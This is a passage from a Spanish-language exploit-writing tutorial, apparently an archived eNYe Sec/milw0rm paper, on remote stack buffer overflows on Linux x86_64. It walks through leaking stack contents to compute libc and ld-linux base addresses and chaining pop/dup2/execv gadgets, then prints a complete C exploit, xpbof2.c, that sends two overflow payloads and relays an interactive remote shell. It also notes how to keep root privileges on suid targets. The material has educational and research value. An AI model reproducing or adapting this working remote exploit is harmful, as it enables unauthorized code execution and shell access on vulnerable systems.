1048, y la siguiente direccion sera a donde salta, o sea a la libc :) .
Ahora veamos como calculamos la direccion de libc (entre otras cosas) a
partir de 1024 bytes del stack. Los 2048 bytes que nos envia 'write' son algo
asi:
0x4141414141414141 0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141 0x4141414141414141
* 1032 bytes de 0x4141.., es buf[] *
0x4006a0 0x400680 0x40090a 0x7fff9f98de08 0x20b234c00 0x611e0002
(nil) 0x7fff9f98de00 0x400000003 (nil) 0x2b0d0b252e64 0x400740
0x7fff9f98de08 0x200000000 0x4007f8 0x2b0d0b234c00 0xff0a00b98c173f6e
* mas contenido que no nos interesa *
Entre esas direcciones esta la de '_start' de bof2. Esto no lo voy a explicar
a fondo porque me eternizo y no tiene mucha importancia a la hora de
explotar. '_start' es la direccion en la que comienza a ejecutarse bof2, que
llama a '__libc_start_main' en la libc, y que luego salta a 'main'. Como
'__libc_start_main' esta en la libc, primero tiene que resolver la direccion
el enlazador dinamico, que es el que salva en la pila la direccion de
'_start'. Resumiendo, la direccion de '_start' no cambia ya que esta
prefijada, asi que buscando ese valor en la pila veremos que esta justo
despues de la direccion de una instruccion de '__libc_start_main'.
Concretamente esta:
0x2b0559a20e60 <__libc_start_main+240>: callq *0x18(%rsp)
0x2b0559a20e64 <__libc_start_main+244>: mov %eax,%edi <-- ESTA
Ese callq salta a 'main' en bof2, pero antes salva la direccion siguiente,
0x2b0559a20e64. En realidad esa es la direccion de retorno de 'main'. Bueno,
pues buscando en la pila el valor de '_start' obtenemos el de
__libc_start_main+244 (esto puede cambiar dependiendo de la version de libc,
puede ser +238, etc.). La direccion de '_start' es:
[raise@enyelab x86_64]$ objdump -f bof2 | grep start
start address 0x0000000000400740
Si vemos en el 'printeo' del stack esa direccion, aparece despues de
0x2b0d0b252e64 (__libc_start_main+244). Ahora hacemos:
[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep __libc_start_main
000000000001cd70 g DF .text 00000000000001a5 GLIBC_2.2.5 __libc_start_main
Para sacar la direccion base de libc solo hay que coger la de
__libc_start_main+244 y restarle (244 + 0x1cd70), todo en tiempo de
ejecucion. Pero no solo eso, vamos a sacar tambien la direccion exacta de
'buf' de manejador(), ya que la necesitaremos. Otra vez volvemos a analizar
el printeo anterior del stack. Pues bien, en 3 posiciones anteriores a la
direccion de retorno de main (la que apunta a __libc_start_main+244) estara
guardada la direccion del stack inicial del proceso, ya que la ha salvado en
la pila la propia libc en una subllamada de __libc_start_main. La cuestion es
que para un mismo ejecutable la distancia entre el stack inicial y buf sera
la misma, concretamente en mi bof2 0x530, con lo que haciendo una cuenta
conseguimos la direccion exacta de buf en tiempo de ejecucion.
Dios, esto no acaba nunca.. Bueno, pues seguimos. Necesitaremos llamar al
menos a 2 funciones de la libc: execv() y dup2(), por lo que averiguamos sus
offsets dentro de la libc:
raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep execv
00000000000949c0 g DF .text 000000000000000f GLIBC_2.2.5 execv
[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep dup2
00000000000bed80 w DF .text 0000000000000025 GLIBC_2.2.5 dup2
Pues ya tenemos casi todo, ahora solo hace falta encontrar dentro de alguna
lib cargada en memoria por 'bof2' las instrucciones adecuadas para
inicializar los registros correspondientes. Veamos las libs:
[raise@enyelab x86_64]$ ldd bof2
libc.so.6 => /lib64/libc.so.6 (0x00002b41862b0000)
/lib64/ld-linux-x86-64.so.2 (0x00002b4186195000)
ld-linux-x86-64.so.2 es el enlazador dinamico, que se carga en memoria como
una libreria normal. No estaria de mas averiguar su direccion tambien por si
tenemos que saltar a ella (que lo necesitaremos). Como una vez averiguada
libc las demas libs siempre estaran a la misma distancia, solo tenemos que
restar sus direcciones, siempre dara el mismo valor:
0x00002b41862b0000 - 0x00002b4186195000 = 0x11b000
Al valor de la libc le restamos 0x11b000 y ya tenemos la direccion base de
/lib64/ld-linux-x86-64.so.2. Ahora si, buscamos las direcciones que nos
interesan, que son las siguientes (dadas en offsets):
libc (0xd81ba): pop %rsi
retq
libc (0xd8190): pop %rdx
pop %r10
retq
ld-linux (0xc29b): mov (%rsp),%rdi
mov %rax,(%rdx)
callq *0x8(%rsp)
Con todo eso en la mano estamos en disposicion de hacer nuestro overflow, el
esquema seria:
dup2(socket, 0); dup2(socket, 1); dup2(socket, 2);
execv("/bin/sh", &NULL); --> direccion de un null
Para hacer los dup2(), es muy facil, puesto que en %rdi ya tenemos el socket
(recordemos que no se modifico despues del overflow, sigue estando ahi porque
era el primer argumento de read), solo tenemos que ir colocando los valores
0, 1 y 2 en %rsi e ir llamando a dup2(). Para colocar los valores en %rsi
usaremos 0xd81ba en la libc (3 llamadas seguidas), como controlamos el stack
controlaremos lo que 'poppeamos' a %rsi.
Despues tenemos que copiar la direccion del string '/bin/sh' en %rdi, la de
un NULL en %rsi, y llamar a execv(). Para poner la direccion de un NULL en
%rsi volvemos a usar 0xd81ba en libc. Para la direccion del string usaremos
0xc29b en ld-linux; copiara el contenido del tope del stack (un puntero al
string que nosotros colocaremos) a %rdi. Os preguntareis: que narices pinta
%rdx ahi?, nada. Lo que pasa que entre el 'mov (%rsp),%rdi' y el 'callq
*0x8(%rsp)' se copia %rax a la direccion a la que apunta %rdx, por lo tanto
tenemos que asegurarnos que %rdx apunta a una direccion valida, y ahi es
donde entra en juego 0xd8190 en la libc: copiaremos a %rdx un valor que nos
interese (%r10 ahi tampoco pinta nada, pero no nos molesta).
Al final el buffer que le pasamos en el segundo overflow tiene una pinta tal
que asi:
*NULL* *AAAAAAAA* */bin/sh\0* *1031 AAAAA's* --> total: 1048
*&pop_rsi* *0* *&dup2()* *&pop_rsi* *1* *&dup2()*
*&pop_rsi* *2* *&dup2()* *&pop_rsi* *&buf* *&libc+0xd8190*
*&buf[32]* *AAAAAAAA* *&lib_ld+0xc29b* *&buf[16]* *&execv* *\n*
En total 1185 bytes. La primera linea ocupa justo 1048 bytes, que era lo
necesario para producir el segundo overflow. Despues hay 3 llamadas a dup2()
con 0, 1 y 2 de argumento. Luego se vuelve a colocar en %rsi la direccion de
buf, y se coloca &buf[32] en %rdx para que sobreescriba justo ahi el 'mov
%rax,(%rdx)'. Las 8 A's son para el 'pop %r10'. Despues copia el contenido
del tope del stack a %rdi, que es &buf[16] (la direccion del string de
"/bin/sh"), y salta a execv. Como en %rsi tenemos la direccion de buf, y
justo al comienzo del mismo hay un null ya lo tenemos todo :) .
Lo probamos:
[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 3944
[raise@enyelab x86_64]$ ./xpbof2 127.0.0.1 7777
* Conectando
* Enviando bof
* Leyendo stack ...
* Buscando __libc_start_main+244
* libc base: 0x2b497bfb4000
* lib_ld base: 0x2b497be99000
* %rsi remoto: 0x7fff2ec0db50
* Enviando bof #2
* lanzando shell ...
id
uid=500(raise) gid=500(raise) grupos=500(raise)
Funciona! ;P.
Por cierto, si bof2 tiene suid root pasa lo de antes, que la shell te quita
el euid 0. Para solucionarlo habria que ejecutar setuid(0) por ejemplo, o mas
sencillo ejecutar otra shell (cambiar /bin/sh por /bin/bsh, etc.).
Ahi va el codigo del exploit:
---- xpbof2.c ----
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <time.h>
#include <netdb.h>
#define EXECV_OFFSET 0x949c0
#define DUP2_OFFSET 0xbed80
#define READ_PLT 0x0000000000400680
#define WRITE_PLT 0x00000000004006a0
#define STARTADDR 0x400740
int main(int argc, char *argv[])
{
char buf[2048], trash[2048], stack[4096];
unsigned long libc, lib_ld, rsi, pop_rsi;
unsigned long *p = (unsigned long *) buf;
struct sockaddr_in dire;
fd_set s_read;
unsigned char tmp;
int i, n, soc;
if (argc != 3)
{
printf("uso: %s ip puerto\n", argv[0]);
exit(-1);
}
/* protocolo de conexion */
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Error al crear el socket.\n");
exit(-1);
}
bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[2]));
dire.sin_addr.s_addr = inet_addr(argv[1]);
printf("* Conectando\n");
if ((connect(soc, (struct sockaddr *) &dire, sizeof(dire))) == -1)
{
printf("error al conectar\n");
exit(-1);
}
/* fin de protocolo de conexion */
memset(buf, 0x00, sizeof(buf));
for (i=0; i < 128; i++)
*p++ = (unsigned long) 0x4141414141414141;
*p++ = 0x4242424242424242;
*p++ = WRITE_PLT;
*p = READ_PLT;
buf[1048] = 0xa;
// cabecera
read(soc, (void *) trash, sizeof(trash));
printf("* Enviando bof\n");
write(soc, (void *) buf, 1049); // bof
printf("* Leyendo stack ...\n");
n = read(soc, (void *) stack, 2048); // leemos stack
printf("* Buscando __libc_start_main+244\n");
p = (unsigned long *) stack;
for(i=0; i < n; i+=8)
{
if (*p == STARTADDR) /* _start */
{
p--;
break;
}
else
p++;
}
libc = (unsigned long) *p;
libc = libc - (244 + 0x1cd70);
lib_ld = libc - 0x11b000;
p -= 3;
rsi = (unsigned long) ((*p) - 0x530);
pop_rsi = (unsigned long) libc + 0xd81ba;
printf("* libc base: %p\n", libc);
printf("* lib_ld base: %p\n", lib_ld);
printf("* %%rsi remoto: %p\n", rsi);
printf("* Enviando bof #2\n");
/* el primer long sera un null */
memset(buf, 0, 8);
memset(&buf[8], 0x41, 1048);
strcpy(&buf[16], "/bin/ash");
p = (unsigned long *) &buf[1048];
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 0;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 1;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 2;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) rsi;
*p++ = (unsigned long) libc + 0xd8190;
*p++ = (unsigned long) rsi+32; /* rdx */
*p++ = 0x4141414141414141; /* basura, pop %r10 -> 0x4141.. */
*p++ = ((unsigned long)(lib_ld + 0xc29b));
*p++ = (unsigned long) rsi+16; /* rdi nuevo */
*p = (unsigned long) libc + EXECV_OFFSET;
buf[1184] = 0xa;
write(soc, buf, 1185);
printf("* lanzando shell ...\n\n");
/* bucle para multiplexar los sockets */
while(1)
{
FD_ZERO(&s_read);
FD_SET(0, &s_read);
FD_SET(soc, &s_read);
select((soc > 0 ? soc+1 : 0+1), &s_read, 0, 0, NULL);
if (FD_ISSET(0, &s_read))
{
if (read(0, &tmp, 1) == 0)
break;
write(soc, &tmp, 1);
}
if (FD_ISSET(soc, &s_read))
{
if (read(soc, &tmp, 1) == 0)
break;
write(1, &tmp, 1);
}
} /* fin while(1) */
} /*********** fin main ***********/
---- eof ----
Os recuerdo que para probar los PoC's hay que ajustar los valores necesarios
(direcciones de entradas PLT, offsets de las libs, etc.).
------[ 7.- Conclusiones ]
Bueno, parece que explotar overflows en Linux x86_64 sigue siendo posible,
dificil.., pero posible. En exploits locales la cosa se facilita mucho, ya
que disponemos de las copias de los ejecutables y librerias del sistema para
sacar los offets. En remotos es algo mas complicado, pero disponiendo de los
datos necesarios es tambien explotable. De todas formas la cosa se puede
poner mas complicado si al final el propio ejecutable es cargado en memoria
como las libs (posicion pseudoaleatoria), aunque de momento eso no esta
implantado (aunque si desarrollado).
Nota: A todo esto, en este texto se da por supuesto que /proc/PID/maps esta
desactivado, y que no podria utilizarse para conocer datos de memoria
como donde se cargan las librerias, etc.
------[ 8.- Despedida ]
Por fin he acabado el texto :) . Lo siento por el toston de explicar los
PoC's, dije que no iba a enrollarme y al final he escrito unas parrafadas del
15. Bueno, y que pongo yo aqui ahora? :?. Pues nada, saludos a todos los
lectores/as, a los que me han ayudado a testear los PoC's (kenshin,
nomuryto), y a todos los asiduos de SET y eNYe Sec.
Hasta la proxima!.
RaiSe <raise@enye-sec.org>
http://www.enye-sec.org
=-|================================================================ EOF =====|
# milw0rm.com [2007-11-05]
